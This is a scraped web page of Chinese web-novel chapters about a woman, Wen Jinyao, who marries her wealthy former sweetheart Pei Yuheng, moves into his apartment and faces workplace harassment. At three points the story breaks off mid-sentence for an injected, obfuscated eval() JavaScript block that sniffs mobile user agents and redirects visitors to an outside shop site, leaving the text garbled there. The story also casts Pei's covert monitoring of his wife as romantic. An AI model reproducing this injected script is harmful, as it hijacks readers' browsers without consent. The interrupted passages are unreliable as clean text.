因为她想起自己本来就没对尘世幸福抱有什么期待,她原本的念想,只是赶紧还完钱,然后有一个自己的家。 至于家里的另一个人是谁,她实在不是很关心。 为什么裴聿珩能算计她,她就不能算计回去? 跟他这种身份的人结婚,婚前协议是免不了的,但没关系,婚姻存续期间她还是能得到庇护,至少名义上她会有一个丈夫,如果哪天她躺在手术台上,裴聿珩作为伴侣,无论愿不愿意,都必须为她负责。 而裴聿珩无论外表,能力还是家世,样样都是顶级,只要不妄想什么琴瑟和鸣举案齐眉,那他简直就是天选老公。 温今遥忙着打自己的小算盘,太久没有回话,那边竟没有催促,或许是她的错觉,对面沉稳的呼吸声比起刚才稍有起伏,似乎已经开始不耐烦。 这种好事,她绝对不能放过。 温今遥咬了一口泡在汤里的牛肉丸,抬头望着满天繁星,一脸得逞的微笑:“那咱们什么时候去领证?” 4. 第 4 章 宾利车内安静无声,总助吴桓极稳地过了几条减速带,抬眼从后视镜里看了一眼后座。 一天的谈判会议显然耗尽了裴聿珩的精力,此刻他仰头靠在头枕上,平直唇角稍显苍白,双手交叠在腿上,正微皱着眉闭目小憩。 回裴家老宅的路上要路过一段很长的隧道,裴聿珩有个习惯,每每经过这里,都会提醒吴桓打开天窗,久而久之,这便也成了吴桓的习惯。 但今天他好像已经睡着了,并不知道车开到了哪里。吴桓正要进隧道,只听后座上的男人低声道:“吴桓。” 吴桓答了声“是”,替他打开天窗。 隧道中汹涌的风瞬间涌进车内,黑暗中令人窒息的憋闷骤然散去,裴聿珩眉心一松,深吸一次,又陷入沉眠。 那场闹剧以裴家强行送裴聿珩出国,又勒令温今遥退学,并给她塞到外地一所大学读书做结。之后的四年里,裴家断掉了裴聿珩一切经济来源将近一年,果然把他从一个“被不怀好意的贱女人勾引”的单纯富二代,掰回了一个合格的集团继承人。 但这只是他父亲裴崇的一厢情愿。 裴聿珩回国后入职鸿禧,一开始小心谨慎兢兢业业,事事顺着裴崇的意思,待两年后裴崇满意地将鸿禧交到他手上,他一朝变脸,不但把昔日元老基本一网打尽,还冒天下之大不韪,直接成立了旗下新品牌——半夏。 裴崇被他气得险些心脏病发:老子还没死呢,你就等不及了? 于是他开始悄然地给自己儿子使绊子,好让他明白,鸿禧到底是姓裴崇的裴,还是姓裴聿珩的裴。 当然,这一切外人是不知道的,北城人人羡慕裴聿珩开挂一般的人生,有这样开明的父母,又有首屈一指的家世,裴聿珩简直上辈子拯救了银河系。 只有裴家人知道,他们一家三口,虽不至于势同水火,但跟“亲厚”二字半毛钱关系都没有。 车停在老宅门口时已经过了饭点,旧式庭院回廊曲折,原本淙淙的水声随着入冬也已停歇。 裴聿珩拐过一片结了冰的荷塘,停在堂屋紧闭的门前,侧耳听了一阵屋内的笑语,才踏上台阶,敲响了门。 开门的丁姨见了他,愣了好几秒,才喜出望外叫起来:“聿珩回来啦!” 丁姨看着他长大,他一直都当她是长辈,于是微笑着应了:“丁姨。” 裴崇和易湘正吃晚饭,见他走进来,易湘讶异了一瞬:“怎么今天回来?吃过饭了吗?” 裴崇头也不抬,夹了一块鱼,低头继续吃饭。 裴聿珩把大衣递给丁姨,点点头:“吃过了,回来拿东西,不用管我。” 保姆拿了餐具过来,易湘本来起身要给他添饭,听了这一句,又慢慢坐回去:“哦。” 裴聿珩缺没有直接上楼,而是坐在裴崇身边,一言不发地看着他吃饭。见父亲一直把那块鱼放在一边,裴聿珩好脾气地拿过来,用筷子一点一点耐心地挑着鱼肉里绵软的小刺。 裴崇并不领情,双手抱胸,垂着眼沉默地看着他手上的动作。 易湘早后悔自己早些年对儿子做过的那些事,有心缓和关系,这时忙在一边打圆场:“聿珩长大了,晓得孝顺爸爸了。” 裴聿珩笑了笑,将碗放回到裴崇面前,漫不经心地盯着他,好像在等什么有趣的事发生。 那块鱼肉被挑得破如棉絮,胡乱地在碗里糊做一团,裴崇定睛看了半晌,并看不出里面还有没有裴聿珩故意留下的小刺。 裴聿珩手臂搭在桌边,深深吸了口气,抬手掸了掸自己衣摆上并不存在的灰尘。 清蒸鲈鱼的香气在空气中停留许久,渐薄渐冷,飘出一股不甚明显,但难以名状的腥气。 “爸,”裴聿珩用眼神示意那块鱼肉:“吃啊。” 易湘的视线在两人之间流转一番,轻声道:“老裴。” 裴崇喉头滚了滚,最终还是拿筷子拢起那块肉泥,送进了嘴里。 他吃得极小心,生怕遂了他儿子的愿,一根鱼刺直接将他卡死。但他用舌尖在肉泥里探寻了半天,里面竟然什么都没有。 裴崇挑了挑眉,却始终没有回头看裴聿珩。 “二位慢用,”裴聿珩起身,声音平静冷淡:“我上楼了。” 裴聿珩绕过饭厅上了楼,见没人跟着,一抬脚便拐进了父母的卧室。 屋内漆黑,但他轻车熟路打开衣柜里层的保险柜,拿出最下层的户口本,从里面抽出薄薄的一页,平整地放进文件袋里。 下楼时,父母正在客厅露台喝茶。 裴聿珩视线落在两个冒着袅袅青烟的茶杯上,轻轻笑了一声,脚尖一转,向着露台走去。 一家三口围坐在茶桌前,陷入了诡异尴尬的沉默。 最后还是易湘开口:“最近有没有认识什么不错的姑娘?你也快28了吧,是时候考虑考虑了。” 刚刚饭桌上的小插曲,裴崇多少有些愧疚。这时他像是终于捡到一个气口,接话道:“对,我像你这么大的时候,你都快五岁了。” 裴崇和易湘两人门当户对,青梅竹马,当年都是一穷二白的泥腿子,结婚之后伉俪情深,联手打下了一片偌大基业,于是他们坚信,要立业,先成家,裴聿珩自小耳濡目染,本来也深信不疑。 如果不是父母坚决反对他跟司机的女儿在一起,甚至直接把温今遥送走,又勒令裴聿珩出国读书,现在他的孩子说不定也打酱油了。 以前每每提到这件事,裴聿珩总是面色不虞地起身就走,根本不给父母一丝一毫探问的机会,但是今天,他竟然安坐如山,连表情都没变过。 易湘心下一喜,觉得有戏:“你刚回国那会儿,天宫集团的那个千金,沈小姐,不是还来家里找过你?现在怎样了,还有联系吗?” 裴聿珩给自己斟了茶,呷了一口,没搭话。 易湘继续道:“没有就算了。你要是愿意,我也给你留心着,喜欢什么样的?” 裴聿珩抬手泼了杯中残茶,轻轻搁了杯子,起身道:“这周内我会带人回来,您二位辛苦。” 说完便躬了躬身,离开了。 …… 相比之下,温今遥那边就简单得多了。 她中午吃过饭,想起来第二天要领证,便在系统里申请事假,理由照实写了“领证结婚”。 人事那边效率也很高,不出半小时就给她打了回来,附言:“理由不想写可以不写,不要胡说八道。” 温今遥:…… 也是,她跟前男友分手就差闹到联合国了,这个节骨眼上说自己要结婚,真是狗都不信。 她咬着笔盖想了想,改了事假理由:“看演唱会。” 不出五分钟,系统秒批。 第二天早上七点,她准时接到裴聿珩的电话:“市区堵车,给个地址,去接你。” 温今遥:? 哪个国际大都市早上七点就开始堵车的? 她眼罩还戴在头上,迷迷糊糊道:“上午有小组会,不能请假,我那半天假在下午。” 那边微妙地停顿两秒:“……那中午去威禾接你。” 温今遥一把扯掉眼罩,弹坐起来:“不用!裴总,不用客气,咱们直接民政局见!” 还去威禾接她,这要是再让那帮三级片爱好者看见,明天她直接辞职好了。 她搞不明白,不就领个证么,又不是真结婚,搞这么隆重。 裴总日理万机的,七点钟听声音就已经在车上了,还分神来安排这种小事,真是好精力,难怪人家那么有钱。 小组会开了一上午,中间十几分钟茶歇,打工人个个困得要命,排着队去茶水间煮咖啡续命。 温今遥端着杯子等咖啡,顺便支棱着耳朵,听同事们闲聊八卦。 “鸿禧也真是大手笔,这项目光前期咨询都砸进去大几千万了。”“这点钱对人家来说算什么,上千亿的体量。”“哇哦这么说他们裴总就是传说中的千亿总裁咯?不知道哪个女人这么幸运……”“哪个女人也拿不到手啊,他们这种豪门,婚前协议都签得明明白白的。” 温今遥一边打瞌睡,一边想,对,我就是那个被霸总强取豪夺的女主角…… 下一秒她忽然意识到一个严重的问题,立刻掏出手机,噼里啪啦给裴聿珩发微信。 晴天娃娃:裴总,你是不是忘了什么事? 晴天娃娃:婚前协议呢? 晴天娃娃:今天还能去领证吗,要不等签了协议,咱们再约? 那边没回,似乎在忙。 温今遥啧了一声,倒了杯咖啡,正要回会议室,手机连震两声。 裴聿珩:律师出差,等以后再补。 裴聿珩:就今天吧。 温今遥腹诽着大哥你知不知道婚前协议四个字里面为什么有个“婚前”,但转念一想,她一个普通上班族,这种事难道能比人家更懂? 说白了,即使不签协议,裴聿珩也不相信她能分走一半鸿禧集团,根本没把她放在眼里。 温今遥啜了一口热咖啡,惬意地眯了眯眼。 挺好,越省事越好,反正都是假的。 …… 温今遥换了一件白衬衫赶到民政局,一边跑一边气喘吁吁地打电话:“裴总我到了,你在哪?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634199|143701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>不远处一辆宾利后车门打开,裴聿珩高大挺拔的身影从后座下来,一只手搭着车门,逆光看向她的方向。 他似乎被冬日里温柔的阳光特别眷顾,光影勾勒出他棱角分明的脸,一双眼睛盛在眉骨下的一潭深影里,竟显得深邃温柔。 与此同时,温今遥耳边传来他和缓的声音:“不急,慢慢来。” 温今遥蓦地晃了神。 就好像他们参商不见的七年从没有发生过,就好像他只是去别处办了点事,然后回来学校门口,接她放学。 裴聿珩见她远远过来,忽然抬手整了整衣领,腕间的璀璨名表反射日光,不偏不倚落进温今遥的眼睛,令她瞬间惊醒。 啊,是。温今遥想,我们从来都不是一个世界的人啊,我在想什么。 她定了定神,收了线,拍了拍脸,得体地微笑着走过去:“裴总,久等。” …… 两人肩并肩走进民政局,气场不能说是相亲相爱,只能说是毫不相干。 裴聿珩从来耀眼,温今遥也是人群中出挑的好看,两个外貌如此出众的人走在一起,却是个大写的“不熟”。 搞得门口分流的工作人员看了他们半天,还是谨慎地问道:“你们是结婚还是离婚?” 温今遥立刻拿出跟三百万相匹配的服务态度,主动挽住裴聿珩的胳膊,顺便牵住他的手,十指相扣:“结婚来的。” 被她挽住的手臂肌肉瞬间绷紧,温今遥以为他要发火,于是踮起脚费劲地靠近他耳边,耳语道:“来都来了,配合一下?” 裴聿珩呼吸猛地重了一瞬,偏头看了她一眼,没有做声。 温今遥自然把这种沉默理解成了默许,高高兴兴排了队,仔仔细细把队伍观察了几遍,发现来领证的根本没有几对是手牵手的。 啊,演过头了么。 温今遥默默权衡一下,从善如流地放开了裴聿珩的手。 裴聿珩原本扣紧的手指蓦地一空,不由自主地蜷了蜷指尖。 等真的轮到他们,温今遥才发现,她把领证想得太简单了。 她原本以为也就是工作人员问两个问题,照片一贴,钢印一盖,齐活了,结果真到了这里,又要填表,又要现拍照,麻烦着呢。 温今遥手底下一刻不停地转着笔,忽然起了点报复的心思,于是磨磨蹭蹭地问:“那个,裴总,你……生日是几号?” 裴聿珩填得一路顺畅,听到这个问题,饶是他早有心理准备,还是稍稍闭了闭眼。 他刷刷写完表上最后几个字,把身份证轻轻放在温今遥面前。 温今遥伸了脑袋过去看,惊呆了:“你都填好啦?这么多年了你还记得这么多啊?” 他不但记得她的生日,还记得她的身份证号,教育程度,户籍地址,连她自己都要翻户口本才能填的东西,裴聿珩那边根本毫不犹豫。 温今遥由衷发出赞叹:“你记性可真好。” 裴聿珩屈指抵了抵额头:“没问题的话,一会儿去拍照。” “哎,有有有,”温今遥拉住他:“婚姻状况呢?你是未婚,离婚,还是丧偶啊?” 裴聿珩:“……” …… 温今遥拿着自己的那本红彤彤的结婚证,翻来覆去地看。 从今天开始,她就是有家的人了。 是真是假都没关系,是婚姻契约本身,给了她一种极为确定和踏实的安全感。仅仅是这种安全感,就足够让她生出对抗生活的底气。 剩下的一切都不重要。 身边的车门一开一关,冬日下午的干冷气息卷着玫瑰的香气,连同身边的人一起上了车。 温今遥一转头,就被一束鲜红玫瑰晃了眼。 它开得太盛了,扎实的一捧,抱在她的怀里,几乎要环抱不住。 “我猜你会想在今天收到一束玫瑰。” 温今遥恍然地看着裴聿珩,仿佛是走进了她不曾选择的平行人生。 这个人,只是她记忆里那个触不可及的哥哥么,还是根本就是她从一开始,就选定了的爱人呢? 这个念头一起,她忽然被自己逗笑了。 真敢想啊温今遥,天上的星星还好看呢,你怎么不去摘? 她摸遍了全身的兜,终于摸出一个小挂件,是前几天跟同事吃火锅时店里送的。 “对不起啊,我没准备礼物,”她摊开手掌,掌心静静躺着一枚大脑袋宇航员:“喏,做个纪念。” 裴聿珩垂下眼,望着那个便宜得几乎简陋的挂件,轻轻碰了碰它灰色的小头盔,而后珍重地把它握在手里。 “好。” 5. 第 5 章 西斜的阳光细心挑染着堆叠的层云,今天的天空也是玫瑰味儿的。 温今遥半张脸都埋在花里,笑得卧蚕也镀上一层亮闪闪的粉金。 车里放着一首轻快的古典乐,她偏过头偷偷去看裴聿珩,他修长手指轻点,正心无旁骛地望着窗外,侧颜光影随着街边建筑遮挡后的阳光明灭闪烁。 温今遥顺着他的视线,也透过车窗去看风景,目光刚停在玻璃上,却对上了一双含笑的眼睛。 她立刻收回眼神,像被抓了包了小贼,心里却不服气得很:“你笑什么!” “笑你好哄,”他温和好听的声音响在旁边:“一束花就开心成这样。” 温今遥有心反驳,一时又找不到理由,只能一扭头,嘟囔:“你懂什么……” 好哄又没有错! 路边倒退的景色眼看到了她熟悉的地方,温今遥道:“前面地铁口放我下来就可以了。” 驾驶座上的吴桓透过后视镜看了她一眼,女孩脸上看不出一点开玩笑的意思。 裴聿珩:“吴桓,停车。” 温今遥道了声谢,刚要下车,手腕却被微凉的手指扣住。 她回过头,正好撞进裴聿珩无奈地笑着的眸子:“今天日子特别,想请温小姐去我家里吃个饭,可以赏脸吗?” 家、家里? 裴家对她来说,不是什么好玩的地方。 似乎看穿了她的想法,裴聿珩耐心解释:“是我自己住的公寓,不用担心。” 温今遥咬着下唇,仔细盘算。 证都领了,吃个饭也不过分吧? 裴聿珩总不至于不缺女人,再说他要真有什么想法,那天在酒店为什么不做? 她对自己完整且犀利的逻辑很有自信,于是很大度地一点头:“行。” …… 裴聿珩带她进入的,是北城CBD中唯一一栋获准住宅的顶层公寓,此时天光渐暗,温今遥一进门,便被玄关对面圆弧形的全景落地窗摄住了心神。 原来在空中花园里悉心栽种、触手可及的晚霞,跟她加班间隙偶尔向窗外惊鸿一瞥的夕阳,真的这样不同。 裴聿珩替她挂好外套:“让人准备了些清淡饭菜,应该合你的胃口。” 饭厅的大理石长桌上摆着热气腾腾的五菜一汤,香气浓郁,色泽清爽,勾得温今遥馋虫翻滚。 她都记不得多久没有下班就吃到热饭了,点个外卖还得为了凑单东拼西凑的,这种新鲜又合口味的待遇,只有梦里会有。 裴聿珩替她抽出高背座椅:“要尝尝看吗。” 温今遥坐在桌前,甚至不知道应该先尝哪一道,每一道菜都像是精心为她设计的一样,全部长在她的点上,只是…… 温今遥从软糯的米饭中抬起头,本着自己不多的良心和零碎的记忆,问:“我记得,你家不是吃辣的吗?” 易湘的娘家是南城人,无辣不欢,于是裴崇和裴聿珩也跟着她顿顿吃辣。小时候温今遥去他家里吃过几顿饭,次次回家犯胃病。 难受,但下次还去。 裴聿珩动筷捻起一块冬笋,放进她碗里:“这些年在国外,口味变了些。” 温今遥听他提起“国外”,低下头去:“哦。” 见她兴致不高,裴聿珩道:“过去的事,对不住了。” 温今遥一时拿不准,他说的“过去的事”,到底是他父母逼迫她从名校退学,离开北城去南方读书,还是他本人一走就是七年,期间连一次联系都没有。 不过都不重要,算起来,也是因为裴家的强硬手段,她才能远离父亲,至于他,联不联系那都是他的自由,她无权指摘。 温今遥表情没有丝毫波动:“不用道歉,你什么都没做错,过去的事就不提了。” 她一句话堵死了这个话题的所有展开,裴聿珩喉头咽动一下,将剩下的抱歉和解释统统咽了回去。 两人静默地吃着饭,筷子偶尔碰到碗碟边缘,让紧绷的沉寂更显得喧嚣。 裴聿珩停了很长时间,又道:“还有一件事,我要提前跟你讲清楚。” “什么?” “我们的婚姻不是形婚,不是今天领个证,以后就毫无交集这么简单。”裴聿珩十指交握,面色平静地凝视她:“既然是夫妻,我们彼此就要适应角色。” 温今遥咬着筷子:“比如呢?” 裴聿珩眯了眯眼,目光试探地落在她脸上:“比如,我们至少要住在同一个地方。” 温今遥终于停下了夹菜的手。 “你的意思是,”她犹豫着:“这不是一个合约,是来真的?” “是。” “你会把我当做真正的伴侣?” 裴聿珩语气笃定:“是的。” “那……”温今遥舔舔嘴唇:“那个呢?” 裴聿珩挑眉:“那个?” 温今遥点点头:“那个。” 他终于明白过来,笑了一声,答:“别的夫妻是什么样,我们自然该是什么样。” 温今遥抿着唇思考了半天,发现自己并不抗拒,这甚至让她更有了些已婚的实感。 但…… “抱歉啊,”温今遥歉意地一笑:“那方面的话,我现在可能还做不到。” 裴聿珩笑得宽和:“理解,这方面会充分考虑你的意愿,但我希望它是我们的目标。” 温今遥放心了,好像从小就是这样,聿珩哥哥说什么,她就信什么,从不用担心他会不会骗人,会不会反悔。 她把筷子伸向那道香菇菜心时,忽然往回一收,抬起头望着裴聿珩。 裴聿珩看她眼巴巴的,显然没理解到:“怎么了?” 温今遥眨眨眼:“做不到的话……我还能吃吗?” 裴聿珩怔愣一瞬,忽然捏着眼角低低笑起来。 他已经记不清今天是第几次被她又可爱又莽撞,间或令他有些伤心的话逗笑了。 “吃吧,”他把菜又往温今遥面前推了推,拍了拍她的头:“在我这里,你做什么都可以。” …… 吃过饭后,裴聿珩带着她“参观”公寓,顺便让她选个喜欢的房间。 流程还没到选房间的环节,温今遥就先被跟她出租屋一样大衣帽间勾住了脚步。 胡桃木色的衣橱中亮着柔润的灯带,衣物按色泽用途挺括地垂在其中,表台中各式名表在射灯的注视下熠熠生辉,中央甚至有一套柔软的小牛皮沙发。 裴聿珩由着她站在门口流连忘返,轻声开口:“等你搬过来,这间会有你的一半。” 温今遥想象了一下自己那些称得上廉价的衣服跟裴聿珩昂贵的西服挂在一起的场景,顿觉哭笑不得:“我们无产阶级跟你们资本家,真的没办法共存。” 裴聿珩微笑着轻轻扣了扣厚实的门板:“提醒一句,咱们没签婚前协议,现在资本家所有东西,都有温小姐的一半。所以现在,你是无产阶级的叛徒。” 温今遥回头:“律师不是出差了吗?” 裴聿珩靠在门口,一脸坦荡:“鸿禧总不至于只有一位律师。” “那,那你……” “算作我的诚意,”裴聿珩道:“因为那天,你听起来很犹豫。” 他说的是温今遥打来的那通电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634200|143701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话,原本是想请他宽限几天,结果被他层层套路,最后答应跟他结婚。 温今遥盯着他半晌,不可思议道:“你就不怕我闹起来,分走你一半家业?” 裴聿珩垂下眼睛,半掩着的目光令他看起来温情脉脉:“所以你会吗?” “是不会啦……”温今遥总觉得有哪里不对,最后心一横:“你这样搞,鸿禧会被别人骗到倒闭的我跟你讲!” 裴聿珩笑起来:“我在生意场上不算笨,手段也还可以。” 他微笑时,面部略显冷硬的轮廓会柔和下来,尤其这里光线昏昧,他眸光中的犀利尖锐被磨得柔软,会让人有一种他很好相处的错觉。 “是是,我可是见识过,一句话不说就把人吓得半死。”温今遥对他最后一点陌生和防备也在这种柔软中散尽了,于是转身埋怨道:“为什么你一直喊我温小姐?搞得我们根本不熟一样。” 裴聿珩在她身后,默了几秒,才道:“我以为你不会愿意听我叫你‘今遥’。” 易湘锐利刺耳的声音忽然划破七年光阴,锋芒逼人地刺进温今遥的耳朵:“今遥?什么今遥!裴聿珩你睁开眼睛看看清楚,她什么身份!” “哦……”温今遥没有回头,声音闷闷的:“没事,那时候的话,我没有当真的。” 她在裴家受到的羞辱,又不仅仅是被剥夺了一个名字,“不是好人家的女儿”“你怎么知道她跟她爸不一样”“歹竹总出不了好笋”这些话,她不但都听了,还照单全收。 有什么关系,她总不会因为这么几句话,就变得不是她了。 但她这一句“不当真”落进裴聿珩的耳中,又是另外一种意思。 母亲当着她的面说的那些话言犹在耳,现在想起来都觉得怒火中烧。她这些年大概是受了太多委屈,才觉得那些话并没有什么。 他不愿再往下想,于是柔声道:“家里有几间卧室,要去选一间你喜欢的吗?” …… 这间顶奢公寓由知名顶尖设计师操刀设计,每一个房间自然都是极好的,甚至无论面积,所有目所能及的空间都能看到剔透的落地窗,北城每个角度的繁华夜景都收归其中。 ……但主卧隔壁的那一间,壁灯是皮卡丘耶。 这盏壁灯在这样一间每平米都彰显着贵重的公寓里,自然显得突兀,甚至滑稽。 但温今遥不管,她从小见了皮卡丘就走不动道。 裴聿珩在她身后如同尽责的管家,十分适时地鼓励:“这间朝向很好,跟主卧是同个方向,视野也更好一些。” 温今遥走进去,发现床垫也是她钟爱的硬质款。 她冲裴聿珩点头:“就这里了。” 裴聿珩似乎早有预料,进房间拉开床头柜,拎出一串钥匙:“好,以后这里就是你的家。” 温今遥望着那串亮晶晶的钥匙,忽然问:“你怎么知道我会选这间?” 裴聿珩难得没有第一时间回答,而是默了默,才道:“我不知道。” “那这钥匙?” “……每个房间都有一把,防止房门被反锁。” “哦,”温今遥打消了顾虑,握住钥匙的一端:“那就,请裴总多指教啦!” 她坐在床边,眼睛在壁灯轻盈暖黄的光里泛着轻快的笑意,微仰着头,看向相识多年后,忽然成为她丈夫的男人。 他温柔、强大,即使两人之间没有什么感情基础,他还是愿意尊重她。 这是她从前不敢奢望的生活。 裴聿珩注视着她的视线柔和得像一潭温泉,轻轻把钥匙放进她的掌心:“也请温小姐多多指教。” 6. 第 6 章 跟裴聿珩领证的第二天,温今遥的生活似乎并没有什么变化。 依然是挤地铁去上班,为了买到喜欢的灌饼,她甚至早出门了半小时。 依然在公司兢兢业业搬砖,在办公室绞尽脑汁,然后在小组会上被小组长换着花样挑刺。 比如今天的组会,就有了一个温今遥闻所未闻的挑刺新角度。 “这水平……这就是裴总看重的人啊?你别是在什么其他地方努力了,我们没看到吧?” 标配是一个意有所指的笑,和周围人挤眉弄眼的心照不宣。 这种软刀子的黄谣对谁来说都足够尴尬,要是多费口舌辩解,还会招来“我说什么了?”的反唇相讥。 好在温今遥从来都不走寻常路。 “刚刚那句话是什么意思啊?”她手里转着笔,无辜地望着组长樊炜:“大家都在笑什么,我不明白。” 樊炜笑得油光满面:“没什么意思,开玩笑的。” 温今遥刨根问底:“诶?所以笑点在哪里?可以给我解释一下吗?” 同组有个刚毕业不到一年的小年轻,名叫余承轩,平时归温今遥带。余承轩这人没别的,就是实诚,这时候见他今遥姐吃亏,也不管对方是自己组长,开口帮腔:“组长,我也不太明白,我入职培训的时候,总监说这种话是性骚扰呀?” 这句话问出口,周围人也笑不出来了,交换着一个“真不上道”的眼神:“没什么没什么,下个话题吧。” 樊炜就坡下驴:“下一个——” “等一下,”温今遥站起来,直直盯着樊炜的眼睛:“刚刚那句话,你还没解释清楚是什么意思呢?是说我跟裴聿珩睡过了吗?” 樊炜面色一僵:“我可没这么说。” 旁边有同事看不下去了:“行了温今遥,别浪费大家时间了。” 温今遥斜睨他:“不是他先开始浪费的吗?你明白刚刚的笑点?给我解释解释?” 余承轩在一边偷笑,对温今遥的敬仰之情又上了一个台阶。 她这招“拖把沾屎戳谁谁死”,简单粗暴但好用,同事果然脸色难看地闭嘴了。 温今遥转向樊炜,还是那句话:“所以到底是什么意思?是说爬金主的床,是威禾的传统吗?” 樊炜苦笑着辩解:“没有,我就是随口一说……” “所以到底有什么好笑,”温今遥抿嘴笑着,脸上尽是天真:“我真的不明白,组长给我解释清楚,别浪费大家的时间,好吗?” 樊炜:“……” 你还不如直接指着我的鼻子骂我猥琐了。 温今遥大有一副“今天不说清楚会咱们也别开了要死一起死”的架势,眼看deadline要到了,稿子定不下来,没法跟上面交代,樊炜为了大局,只能嘴上讨饶:“行了,以后不说了行了吧?” 温今遥歪了歪头:“可以说呀,只要你能当着我的面解释清楚,就可以说。” 结果小组会开到最后,樊炜交给李玉的定稿,还是温今遥的那一版。 跟稿子一起传到李玉办公室的,还有上午组会上的闹剧。李玉二话不说,直接把樊炜叫到总监办公室狠狠修理了一顿,以至于那后来的好几天,樊炜见到温今遥,都不由自主地绕着走。 同组的女孩子敬温今遥是个大女人,请她喝奶茶,温今遥正捧着奶茶摸鱼,手机嗡嗡两声,屏幕上弹出了李玉的消息。 李玉-总监:上午的事我听说了,你怎么回事? 李玉-总监:这种事你不要跟他正面硬刚,事后来告诉我就行。 温今遥【A组】:没有呀,我是真的不懂才问的~ 温今遥【A组】:但是他最后也没给我解释清楚[难过] 李玉-总监:温今遥你是不是傻? 李玉-总监:算了,好好工作。 温今遥嚼着软糯香甜的芋圆,惬意地眯起眼。 不正面硬刚,以后关于她的传闻,就要在“爬金主的床”后面再加一条“碰也碰不得的关系户”。 再者她当然不能直接去跟李玉说,李玉再器重她,也总有被这些鸡毛蒜皮弄烦的一天。 同事嘛,不就是用来传八卦的,这种小事,何须她亲自开口? …… 同是打工人,温今遥扬眉吐气,吴桓可没有这么好的运气。 “什么叫没有接到?” 裴聿珩坐在宽大的深褐色办公桌后,目光难得从堆成山的文件中抬起来:“你是说,夫人今天没去上班,还是说她昨天跟我领了证,今天就凭空消失了?” 吴桓低着头,大气都不敢出:“我按照平时夫人出门的时间去小区门口等,一直等到十点,都没等到她出来。” 裴聿珩扫了他一眼,低头继续看文件,过了几秒钟,轻笑了一声:“让鸿禧的总裁夫人去挤地铁,你这个总助当得不赖。” 吴桓背后的冷汗都下来了:“下次绝对不会了裴总。” 下次? 温今遥从小就懂轻重知进退,不是自己的东西从来不敢觊觎,更别说处心积虑地对她好,她只要一明白过来,立刻就会吓得逃跑。 但她有一个弱点,就是心软。 裴聿珩准备签字的笔悬在半空中,道:“让人去威禾打听打听,她午饭都怎么解决,别露了痕迹。” 当天中午,鸿禧宣传部突然派了个刚毕业的小姑娘到威禾,说是想从头学习一个项目是怎么展开的。 于放一打眼以为她是鸿禧哪个高层的女儿,用家里的人脉来实习的,于是放下手里的工作,要亲自带她去吃牛排。 没想到小姑娘很是谦逊,腼腆地笑说自己是来学习的,把她安排到策划部旁观就可以,其他的一概不用照顾,不然家里长辈知道了,会批评她。 于放感动得老泪纵横,把小姑娘放到策划A组,转头就跟李玉夸:“看看人家,那么家大业大的,对后辈还这么严格要求,活该人家赚钱。” 上次在酒局上眼见着裴总光明正大为难温今遥,李玉对姓裴的印象不怎么样,当下就甩开她倒霉老公的手:“你嫁给裴聿珩去吧你!” 小姑娘在A组安安静静看了一下午,谁来搭话她就害羞地低下头抿着嘴笑,没有丝毫大小姐架子,像个漂亮可爱的吉祥物。到下班时间,她婉拒于放的便车,从威禾直接打车回了鸿禧总部,然后上了董办的直升梯。 “夫人中午跟同事拼单吃了一份麻辣烫,因为凑到了大红包,高兴了二十分钟。午饭过后,同事提出吃饭后甜点,夫人一边说自己胖了六两,一边点了两个香草味的云朵泡芙。下午三点半,夫人在瞄了同组同事五分钟后,率先提出‘三点半了,饮茶先咯’,随后跟同事比较谁的红包比较大,下午四点,奶茶外卖送到,夫人点的是茉香奶绿,温热三分糖,期间同事提醒她中午刚刚说过胖了六两,夫人回答‘我都这么穷了喝个奶茶怎么了’。还有,夫人跟同事闲聊时提到家附近的灌饼很好吃,她为了买灌饼今天提前出门了。除过这些,夫人一整个下午都在埋头工作,洗手间都没去过。” 她关掉手机备忘录,面色平静地问:“裴总还有什么吩咐?” “她下班了吗?” “我从威禾离开的时候,夫人已经在收拾东西准备开溜,当时A组小组长正在被总监骂,她大概率成功了。” 裴聿珩的表情看起来跟平日聆听工作汇报没有区别,波澜不惊点了点头:“做得不错,”说完淡淡扫了一眼立在一边的吴桓:“比你师父强些。” 吴桓汗颜:“明天我会再提前一小时。” 裴聿珩抬了抬唇角:“不必了。” 小鸽子如果还不认识路,今晚他就布个陷阱,再教她一遍。 …… 温今遥今天人品大爆发,真的开溜成功了。 她一出办公室就眼疾手快关掉了工作手机,准备今晚好好休息休息——没别的,最近实在是太累了。 为了弥补自己捅出来的篓子,她键盘几乎要搓出火,才能勉强保质保量,既保住威禾的名声,又不耽误工期。 结果回到家,伸手在包里一摸,摸出了一串陌生的钥匙。 她对着这串钥匙懵了好几秒。 ……回错家了。 昨天她选了房间拿了钥匙,裴聿珩送她回来就带走了她一部分行李,她答应得好好的,今天就回公寓住。 洗漱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634201|143701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 